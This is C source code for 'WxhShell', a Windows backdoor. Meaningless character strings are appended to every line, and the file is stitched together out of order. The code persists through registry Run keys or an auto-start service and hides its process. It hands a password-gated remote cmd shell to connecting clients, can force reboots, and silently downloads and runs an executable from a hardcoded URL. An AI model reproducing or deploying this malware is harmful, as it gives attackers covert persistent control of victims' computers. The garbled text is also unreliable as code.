    if(Boot(SHUTDOWN)) dE ,NG)MH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VZ o,AP~  
    else { U/p|X)  
    closesocket(wsh); ke~S[bL%-  
    ExitThread(0); # Vq"Cf  
    } F4o)6+YM   
    break; O|ODJOQNol  
    } E;*JD x  
  // 获取shell 4/_@F>I_  
  case 's': { M2{AaYgD  
    CmdShell(wsh); ]&oQ6  
    closesocket(wsh); Pr>Pxsr&  
    ExitThread(0); >I*Qc<X91  
    break; *{#l0My  
  } O /S:S  
  // 退出 czp .q  
  case 'x': { K1*oYHB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1kDr;.m%  
    CloseIt(wsh); v c r5  
    break; /a'cP  
    } I7[F,xci  
  // 离开 c;M&;'#x  
  case 'q': { |^&j'k+A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); da,;IE{1u  
    closesocket(wsh); =o<iBbK#|  
    WSACleanup(); - C  
    exit(1); s\Zp/-Q  
    break; :)PAj  
        } L2N O_N  
  } +^@;J?O  
  } ){_D  
-_4ZT^.Lna  
  // 提示信息 ]TTQ;F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?J1x'/G  
} _7^4sR8=  
  } p3f>;|uh_  
d^.@~  
  return; S1`;2mAf*  
} 2)W~7GED  
*!W<yNrR  
// shell模块句柄 bAd$ >DI[  
int CmdShell(SOCKET sock)  Ie<`WU K  
{ p%?VW  
STARTUPINFO si; /&T"w,D  
ZeroMemory(&si,sizeof(si)); ophQdJM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )ld !(d=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gv$}>YJ  
PROCESS_INFORMATION ProcessInfo; :SUU)jLq  
char cmdline[]="cmd"; p1mY@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ff83Bg  
  return 0; 6q8b>LG|  
} \_#Z~I{  
'TdO6-X  
// 自身启动模式 k`u:Cz#aB  
int StartFromService(void) X (0`"rjg  
{ L{i,.aE/nO  
typedef struct =ghN)[AZV  
{ *pOdM0AE  
  DWORD ExitStatus; .=u8`,sO  
  DWORD PebBaseAddress; sC^9  
  DWORD AffinityMask; jQ 'r};;  
  DWORD BasePriority; !K0:0:  
  ULONG UniqueProcessId; zHT22o56X  
  ULONG InheritedFromUniqueProcessId; <h vVh9  
}   PROCESS_BASIC_INFORMATION; r\x"nS  
4uSC>  
PROCNTQSIP NtQueryInformationProcess; 2rG;j52))a  
InCJ4D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2b`3"S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +)cjW"9  
>E:V7Fa  
  HANDLE             hProcess; Af V a[{E  
  PROCESS_BASIC_INFORMATION pbi; Pv>W`/*_,s  
$QbaPmHW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L)!9+!PKD  
  if(NULL == hInst ) return 0; AD=qB5:  
 HuCzXl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VD).UdUn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DNu^4#r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ([+u U!  
j1sZRl)D  
  if (!NtQueryInformationProcess) return 0; ar#Xe;T!  
U,_jb}$Sq7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .0gF&>I}  
  if(!hProcess) return 0; 555*IT3b  
F79!B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QUSyVp{$  
lCznH?[  
  CloseHandle(hProcess); ujt0?DM  
lls-Nir%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Zs"r}G^  
if(hProcess==NULL) return 0; Z_tK3kQa@&  
#K[UqJ+x  
HMODULE hMod; |;[%ZE"  
char procName[255]; Go8?8*  
unsigned long cbNeeded;  IeZgF>  
FK2* O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %xH2jf  
=HGC<#  
  CloseHandle(hProcess); js~?y|e8k  
7H~J?_  
if(strstr(procName,"services")) return 1; // 以服务启动 ap7ZT7KW  
O`pqS\H  
  return 0; // 注册表启动 ,$xV&w8f\"  
} )T_o!/\*|*  
Jh)x_&R&Q  
// 主模块 [;E~A  
int StartWxhshell(LPSTR lpCmdLine) 82z\^a  
{ &/}reE*  
  SOCKET wsl; GW[g!6 6^  
BOOL val=TRUE; X5V8w4NN  
  int port=0; x'c%w:  
  struct sockaddr_in door; Hfw*\=p  
{ !;I4W%!  
  if(wscfg.ws_autoins) Install(); #KOr-Yg|U  
E5H0Yo.Wi  
port=atoi(lpCmdLine); Vo@gxC,  
f2abee  
if(port<=0) port=wscfg.ws_port; `ecIy_O3P&  
DF>LN%a~  
  WSADATA data; )rqb<O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KO~_  
M`~UH\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Wyo!pRi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zHEH?xZ6sD  
  door.sin_family = AF_INET; [lmghI!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WlJ $p$I`  
  door.sin_port = htons(port); zFn!>Tqe  
PGE|){ <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #2XX[d%  
closesocket(wsl); _~=qByD   
return 1; .o._`"V  
} h !yu. v  
lh N2xg5x  
  if(listen(wsl,2) == INVALID_SOCKET) { {Y\W&Edw%  
closesocket(wsl); Exy|^Dr0  
return 1; nNN~Z'bG  
} V5ySOgzw,  
  Wxhshell(wsl); T=NF5kj-=  
  WSACleanup(); 7jZE(|G-  
mn>$K"_k  
return 0; ~g6`Cp`  
a (mgz&*  
} )yOdRRP  
9HtzBS  
// 以NT服务方式启动 \Y4>_Mk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yqY nd<K4  
{ b `7vWyp  
DWORD   status = 0; Al 0 i{.V  
  DWORD   specificError = 0xfffffff; '#;%=+=;  
;$\?o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GmONhh(k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #DqVh!t"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +J`HI1  
  serviceStatus.dwWin32ExitCode     = 0; h^)R}jy+f  
  serviceStatus.dwServiceSpecificExitCode = 0; YEbB3N  
  serviceStatus.dwCheckPoint       = 0; pKnM=N1f  
  serviceStatus.dwWaitHint       = 0; ,"@Tm01os  
vz[-8m:f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =}$YZuzmU  
  if (hServiceStatusHandle==0) return; ?3 #W7sF  
[b=l'e/  
status = GetLastError(); b,k%n_&n  
  if (status!=NO_ERROR) rmzM}T\20  
{ Ub(8ko:8$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nQ$4W  
    serviceStatus.dwCheckPoint       = 0; m,u5S=3A{!  
    serviceStatus.dwWaitHint       = 0; ~)ecQ  
    serviceStatus.dwWin32ExitCode     = status; t=K;/ 1  
    serviceStatus.dwServiceSpecificExitCode = specificError; } ^}fx [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #TXN\YNP  
    return; v}Gpw6   
  } 1&Fty'p  
4GiHp7Y&A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sp2"c"_+  
  serviceStatus.dwCheckPoint       = 0; :FUefW m  
  serviceStatus.dwWaitHint       = 0; }Sxuc/%:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BJ c'4>  
} {Xc^-A[~  
FRSz3^Aw  
// 处理NT服务事件,比如:启动、停止 JB_<Haj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &?#,rEw<x  
{ mr4W2Z@L  
switch(fdwControl) lJ'. 1Z&  
{ Q?Y\WD  
case SERVICE_CONTROL_STOP: 2i~tzo  
  serviceStatus.dwWin32ExitCode = 0; =)2sehU/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \e=Iw"yd  
  serviceStatus.dwCheckPoint   = 0; nO ^m  
  serviceStatus.dwWaitHint     = 0; R.Plfm06Ue  
  { <3 b|Sk:T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Moe8X#3  
  } ({R-JkW: ;  
  return; HB>&}z0  
case SERVICE_CONTROL_PAUSE: ir72fSe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yR`X3.:*]  
  break; M;96 Wm  
case SERVICE_CONTROL_CONTINUE: "&_$%#HUv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F7FUoew<  
  break; ]YO &_#  
case SERVICE_CONTROL_INTERROGATE: ]ZkR~?  
  break; 61XLL/=P  
}; Ve]ufn6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8)-j}gZa  
} 4/z K3%J  
FnoE\2}9  
// 标准应用程序主函数 !mM`+XH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H/rJ:3  
{ aB=&XGV9  
n]15 ~GO.  
// 获取操作系统版本 MHuQGc"e+4  
OsIsNt=GetOsVer(); Xscm>.di  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9*thqs3J#d  
g!#M0  
  // 从命令行安装 4*)a3jI?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ B>BA  
s_/a1o  
  // 下载执行文件 e[Tu.$f-  
if(wscfg.ws_downexe) { lj U|9|v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *2? -6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~36)3W[4  
} K;,_P5J%  
P,QI-,  
if(!OsIsNt) { y7x&/2  
// 如果时win9x,隐藏进程并且设置为注册表启动 tK|jh  
HideProc(); pX\Y:hCug  
StartWxhshell(lpCmdLine); *_qW;l7  
} E#0_y4  
else ! H^,p$`[i  
  if(StartFromService()) 5t,W'a_  
  // 以服务方式启动 +1te8P*  
  StartServiceCtrlDispatcher(DispatchTable); O/?Lk*r  
else $ykujyngS4  
  // 普通方式启动 XBmAD!  
  StartWxhshell(lpCmdLine); Hv>16W$_  
*-zOQ=Y  
return 0; &| d6  
} ' )0eB:  
(=T%eJ61  
ytWTJ>L  
M6j!_0j  
=========================================== ,?3)L   
Oi?+Z:lak  
}[$qn|  
ib-)T7V`  
1+{V^) V?  
FC +}gJ(q  
" 6]Vf`i  
*(?tf{  
#include <stdio.h> T> !Y-e.q  
#include <string.h> /qKO9M5A  
#include <windows.h> y5p)z"  
#include <winsock2.h> "8NhrUX  
#include <winsvc.h> ~"Q24I  
#include <urlmon.h> zL%ruWNG  
h&k*i  
#pragma comment (lib, "Ws2_32.lib") " iz'x-wy  
#pragma comment (lib, "urlmon.lib") ]ZbZ]  
f3p)Q<H>`(  
#define MAX_USER   100 // 最大客户端连接数 iB1+4wa  
#define BUF_SOCK   200 // sock buffer [s} n v]  
#define KEY_BUFF   255 // 输入 buffer Uyuvmt>  
(oUh:w.]Gw  
#define REBOOT     0   // 重启 |([|F|"  
#define SHUTDOWN   1   // 关机 B5pWSS  
8+?|4'\`  
#define DEF_PORT   5000 // 监听端口 b: c$EPK  
_wY <8 F*  
#define REG_LEN     16   // 注册表键长度 >k)zd-  
#define SVC_LEN     80   // NT服务名长度 fx"~WeVcO  
BJL*Dih m[  
// 从dll定义API 2qN|<S&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C<T)'^7z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w.:fl4V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Qf.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ag7(nn0!  
#guq/g$  
// wxhshell配置信息 4)DI0b"  
struct WSCFG { z0v|%&IK  
  int ws_port;         // 监听端口 JDI1l_Ga  
  char ws_passstr[REG_LEN]; // 口令 _'.YC<;  
  int ws_autoins;       // 安装标记, 1=yes 0=no *oW^P~m/  
  char ws_regname[REG_LEN]; // 注册表键名 s (hJ *  
  char ws_svcname[REG_LEN]; // 服务名 '1Z3MjX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #\{j/{VZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G'dN_6ho3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F4#^jat{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n{@^ne4 m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _P:}]5-|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .O1Kwu  
9[9 ZI1*s  
}; M In6p  
aOOkC&%  
// default Wxhshell configuration  (H*EZ  
struct WSCFG wscfg={DEF_PORT, d*===~  
    "xuhuanlingzhe", 6z-&Zu7@  
    1, KJLC2,  
    "Wxhshell", xV}ybRKV  
    "Wxhshell", q ?qpUPzD  
            "WxhShell Service", ,5 A&  
    "Wrsky Windows CmdShell Service", i+Fk  
    "Please Input Your Password: ", h%0FKi^  
  1, ,iy;L_N  
  "http://www.wrsky.com/wxhshell.exe", Z'V"nhL  
  "Wxhshell.exe" y?}R,5k  
    }; / Ml d.  
zfBaB0P  
// 消息定义模块 q '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h=7eOK]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `+c8;p'q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ft)e3Gf  
char *msg_ws_ext="\n\rExit."; 'y? HF@NJ  
char *msg_ws_end="\n\rQuit."; KsG>,# Q  
char *msg_ws_boot="\n\rReboot..."; sZ7RiH +I  
char *msg_ws_poff="\n\rShutdown..."; /BaXWrd+  
char *msg_ws_down="\n\rSave to "; Li{R?Osx  
EXz{Pqz  
char *msg_ws_err="\n\rErr!"; "+BNas^rF  
char *msg_ws_ok="\n\rOK!"; _]/&NSk  
M6MtE_E  
char ExeFile[MAX_PATH]; @&4s)&-F  
int nUser = 0; }vof| (Yh  
HANDLE handles[MAX_USER]; "x"y3v'  
int OsIsNt; .zMM!l3  
6tDCaB  
SERVICE_STATUS       serviceStatus; _XP3|E;I/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pRTdP/(OQ  
Sd\+f6x  
// 函数声明 b- FJMY  
int Install(void); wvu h   
int Uninstall(void); B+pJWl8u  
int DownloadFile(char *sURL, SOCKET wsh); J_tI]?jrU  
int Boot(int flag); l4LowV7  
void HideProc(void); a+_F^   
int GetOsVer(void); M?FbBJ`sF  
int Wxhshell(SOCKET wsl); n@e[5f9?x  
void TalkWithClient(void *cs); oKlOcws}  
int CmdShell(SOCKET sock); NW*qw q  
int StartFromService(void); Do\YPo_Mr  
int StartWxhshell(LPSTR lpCmdLine); Fu/{*4  
j\^ u_D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1(ud(8?|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OBBEsD/bc  
a#NP69  
// 数据结构和表定义 C\d5t4s  
SERVICE_TABLE_ENTRY DispatchTable[] = ud @7%%  
{ ~p'DPg4  
{wscfg.ws_svcname, NTServiceMain}, S^/:O.X)c,  
{NULL, NULL} Z9+xB"q2  
}; h=`1sfz  
UZ qQ|3  
// 自我安装 6lKM5,Oa  
int Install(void) M,f|.p{,Y  
{ .:(N1n'>1  
  char svExeFile[MAX_PATH]; HXg4 T  
  HKEY key; S$egsK"~  
  strcpy(svExeFile,ExeFile); Ts~)0  
tc%0yr9  
// 如果是win9x系统,修改注册表设为自启动 ! ~5=tK  
if(!OsIsNt) { A[mm_+D>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pqc +pE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r!,/~~m T  
  RegCloseKey(key); $>M A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3~uWrZ.u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GA.4'W^&a  
  RegCloseKey(key); rdY/QvP0=  
  return 0; R{hq1-  
    } |!=KLJUA  
  } Jc74A=sT  
} U if61)+!i  
else { Q x]zz4jD  
dreEes`|  
// 如果是NT以上系统,安装为系统服务 6?X)'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u3XQ<N{Gj  
if (schSCManager!=0) faJ>,^V#  
{ N!hS`<}  
  SC_HANDLE schService = CreateService G;CB%qXI  
  ( F]"Hs>  
  schSCManager, HxXCxI3  
  wscfg.ws_svcname, nP+]WUnY  
  wscfg.ws_svcdisp, zs_^m1t1s  
  SERVICE_ALL_ACCESS, ,aLdW,<6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0k7kmDW  
  SERVICE_AUTO_START, KW[Jft  
  SERVICE_ERROR_NORMAL, 3IK+&hk  
  svExeFile, VSJ08Ngi   
  NULL, 5{@Hpj/B  
  NULL, B,]:<1l~  
  NULL, ,7{}}l  
  NULL, df$VC  
  NULL nLfITr|5  
  ); U $ bLt  
  if (schService!=0) FKN!*}3  
  { ;%V%6:5  
  CloseServiceHandle(schService); yN Bb(!u  
  CloseServiceHandle(schSCManager); D]h~ \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = Nd &My  
  strcat(svExeFile,wscfg.ws_svcname); fjh0Z i45  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 iWe&I:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8UANB]@Y}  
  RegCloseKey(key); s7~[7  
  return 0; DwL4?!E  
    } ; {P"~(S%  
  } 1 =cFV'  
  CloseServiceHandle(schSCManager); PilV5Gg  
} %N, P? ,U  
}  7z?r x  
I}@m6D|\  
return 1; )7j CEA03  
} M-B-  
)^ky @V  
// 自我卸载 Js7D>GWP!  
int Uninstall(void) ).Ei:/*j  
{ .L X8ko  
  HKEY key; yM8<)6=  
_%`<V!RT\  
if(!OsIsNt) { o=,q4;R'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5>e3srKu  
  RegDeleteValue(key,wscfg.ws_regname); Dn#GoDMJ[  
  RegCloseKey(key); Fk 5;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H3?HQ>&O7  
  RegDeleteValue(key,wscfg.ws_regname); =R>%}5  
  RegCloseKey(key); #{t?[JUn  
  return 0; ;AwQpq>dy  
  } P9RIX;A=  
} ;goR0PN  
} U;_b4S:  
else { qhPvU( ,  
V@(7K0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ARZ5r48)  
if (schSCManager!=0) $|2@of.  
{ "?lm`3W"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l u^fKQ  
  if (schService!=0) 2`o}neF{  
  { J01Y%W  
  if(DeleteService(schService)!=0) { #e!4njdM  
  CloseServiceHandle(schService); &d`z|Gx9  
  CloseServiceHandle(schSCManager); x 7;Zwd  
  return 0; y,*>+xk,  
  } _uR-Z_z  
  CloseServiceHandle(schService); W:8*Z8?7  
  } {\?zqIM  
  CloseServiceHandle(schSCManager); #()u=)  
} g]z[!&%Ahs  
} %>cl0W3x  
B~/LAD_  
return 1; _V9 O,"DDc  
} tkG0xRH  
vlD!YNy  
// 从指定url下载文件 F=29"1 ._  
int DownloadFile(char *sURL, SOCKET wsh) u7e g:0Y  
{ e*Gm()Vu,  
  HRESULT hr; e$E~@{[1)  
char seps[]= "/"; t ._PS3  
char *token; M@>EZ  
char *file; h9McC3  
char myURL[MAX_PATH]; Qr/8kWa0 C  
char myFILE[MAX_PATH]; l @hXQ/  
Rv)!p~V8  
strcpy(myURL,sURL); [U]ouh)  
  token=strtok(myURL,seps); $Yr'`(Cbc  
  while(token!=NULL) Uf`lGGM  
  { .Z!!x  
    file=token; Y=oj0(Q*  
  token=strtok(NULL,seps); )TceNH  
  } ; )Vro  
;BEg"cm  
GetCurrentDirectory(MAX_PATH,myFILE); N F[v/S  
strcat(myFILE, "\\"); JeR8Mb  
strcat(myFILE, file); r|XNS>V ,$  
  send(wsh,myFILE,strlen(myFILE),0); b[^=GF>e  
send(wsh,"...",3,0); VK*2`Z1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S^GB\uJ  
  if(hr==S_OK) 'JBf*p".  
return 0; F Ty`#*7Ul  
else x9#>0 4s  
return 1; +$#YW5wy  
C*}TY)8  
} NX$S^Z\QI  
?I`BbT}  
// 系统电源模块 i>9/vwe  
int Boot(int flag) CjzfU*G  
{ oRM,_  
  HANDLE hToken; fb5]eec  
  TOKEN_PRIVILEGES tkp; B/i`  
\8uPHf_  
  if(OsIsNt) { 6?/$K{AI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <By R!Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8t$a8 PE  
    tkp.PrivilegeCount = 1; Phsdn`,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5q`d=L,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ojkbv  
if(flag==REBOOT) { ^|6%~jkD5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W^2Q"c#7F  
  return 0; {d\erG(  
} kU8V,5  
else { 4]N`pD5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2kTLj2 @o,  
  return 0; [?<"SJ,`  
} /3*75  
  } x@F"ZiYD@O  
  else { G 1{F_  
if(flag==REBOOT) { 8k$iz@e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R|T_9/#)  
  return 0; M%wj6!5  
} '|0Dt|$  
else { 29K09 0f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D?rQQxb  
  return 0; #&G^%1!  
} " }@QL`  
} z.g'8#@  
:\Z;FA@g(g  
return 1; .`!|^h%0  
} &0O1tM*v  
5Qp5JMK  
// win9x进程隐藏模块 1\7SiQ-  
void HideProc(void) "D7*en  
{ ;p"G<n  
Z8$@}|jN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rN)T xH&*p  
  if ( hKernel != NULL ) H#8]Lb@@:  
  { 4A%O`&eZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,jyNV<dI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S]Gw}d]4  
    FreeLibrary(hKernel); cO2 .gQo'  
  } ]Au78Yom  
}-m/ 'Q  
return; h3issi+N  
} ,cs`6Bd4  
x`^~|Q  
// 获取操作系统版本 vJ$#m_aa  
int GetOsVer(void) `j088<?j  
{ 9hI4',(rE  
  OSVERSIONINFO winfo; !!ZNemXct$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +/q%29-k  
  GetVersionEx(&winfo); 2.Ym  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x~xaE*r  
  return 1; F;jl0)fBR=  
  else XpWqL9s_E  
  return 0; @R>4b  
} qFmvc  
&C3J6uCm+  
// 客户端句柄模块 3|RfX  
int Wxhshell(SOCKET wsl) <tAn2e!  
{ Py6c=&*  
  SOCKET wsh; 8ON$M=Ze$  
  struct sockaddr_in client; o[^%0uVF  
  DWORD myID; NA[yT  
Wx~ 0_P  
  while(nUser<MAX_USER) cS,(HLO91  
{ xfqgK D>  
  int nSize=sizeof(client); m.-l&@I2/<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *G$tfb(  
  if(wsh==INVALID_SOCKET) return 1; W,YzD&f=uS  
k( 1rp|qf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $k*E^~qT  
if(handles[nUser]==0) 2}1(j  
  closesocket(wsh); \uQB%yMoz  
else oddS~lW  
  nUser++; Uf{cUY,j_  
  } K9}ppgL'$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Tde#T&[  
"$PbpY  
  return 0; #B|`F?o  
} M[D`)7=b  
#ldNWwvRGj  
// 关闭 socket 4(2}O-~  
void CloseIt(SOCKET wsh) sN 1x|pkN  
{  =w0Rq~  
closesocket(wsh); gSK (BP|  
nUser--; +60zJ 4  
ExitThread(0); &fq-U5zH  
} Skl1%`  
"jmi "O*  
// 客户端请求句柄 g=Q#2/UQ<  
void TalkWithClient(void *cs) x$I~y D  
{ /K<Xr[z~y  
^10*s,(uS?  
  SOCKET wsh=(SOCKET)cs; pq+Gsu1^  
  char pwd[SVC_LEN]; md_aD  
  char cmd[KEY_BUFF]; VR2BdfKU,  
char chr[1]; ,\4@Ao  
int i,j; \TkBV?W  
pNr3u  
  while (nUser < MAX_USER) { I5>HB;Q  
W}+Q!T=  
if(wscfg.ws_passstr) { O[3J Px  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &6FRw0GX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =:v\}/  
  //ZeroMemory(pwd,KEY_BUFF); C78YHjy  
      i=0; jwyJ=W-  
  while(i<SVC_LEN) { ;o_4)+}  
$jo}?Y+  
  // 设置超时 N \[Cuh8Fe  
  fd_set FdRead; Pe!uk4}w  
  struct timeval TimeOut; SoS[yr  
  FD_ZERO(&FdRead); %#2[3N{  
  FD_SET(wsh,&FdRead); J:)Q)MT24:  
  TimeOut.tv_sec=8; -7TT6+H)  
  TimeOut.tv_usec=0; lMB^/-Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d%VGfSrKq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W@AZ<(RI:  
G+ Y`65  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5W>i'6*  
  pwd=chr[0]; yp wVzCUG  
  if(chr[0]==0xd || chr[0]==0xa) { Fl]$ql   
  pwd=0; :e ?qm7cB  
  break; U:c!9uhp  
  } G9:[W"P  
  i++; prb;q~  
    } 20d[\P(.  
f8+($Ys  
  // 如果是非法用户,关闭 socket L{N9h1]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KR%p*Nh+C  
} HviL4iO  
>&RpfE[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ko@I]gi2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P )_g t  
3X89mIDr  
while(1) { &Ph@uZ\  
B-|:l 7  
  ZeroMemory(cmd,KEY_BUFF); 0Q_AF`"  
;:vbOG#aSN  
      // 自动支持客户端 telnet标准   %L}9nc%~eP  
  j=0; [?)}0cd0  
  while(j<KEY_BUFF) { 6Y)'p .+g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ahD%UxO5  
  cmd[j]=chr[0]; @sav8 ]  
  if(chr[0]==0xa || chr[0]==0xd) { #,Fk  
  cmd[j]=0; ^, q\S  
  break; L 9Z:>i?  
  } L qMH]W  
  j++; ]MfT5#(6h  
    } PZKKbg2 S  
ox{)O/aj  
  // 下载文件 H5S>|"`e`e  
  if(strstr(cmd,"http://")) { Q*ZqY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z9cch- u~  
  if(DownloadFile(cmd,wsh)) @ T'!;)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dh BUMDoB  
  else .8uJ%'$)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `fu(  
  } *e H[~4  
  else { Pan^@B=Q  
he8y  
    switch(cmd[0]) { Ms=x~o'  
  $L)9'X   
  // 帮助 ]$Ky ZHj{  
  case '?': { _' Xt  
